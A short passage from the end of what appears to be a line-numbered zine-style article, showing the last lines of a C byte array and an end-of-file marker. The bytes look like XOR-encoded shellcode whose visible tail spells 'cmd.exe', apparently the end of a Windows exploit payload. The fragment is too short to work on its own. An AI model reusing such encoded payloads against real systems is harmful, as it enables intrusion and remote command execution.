  2189.   0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 
  2190.   0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff, 
  2191.   0x0d, 0x0a};
  2192. <-->
  2193. ----[  EOF
  2194.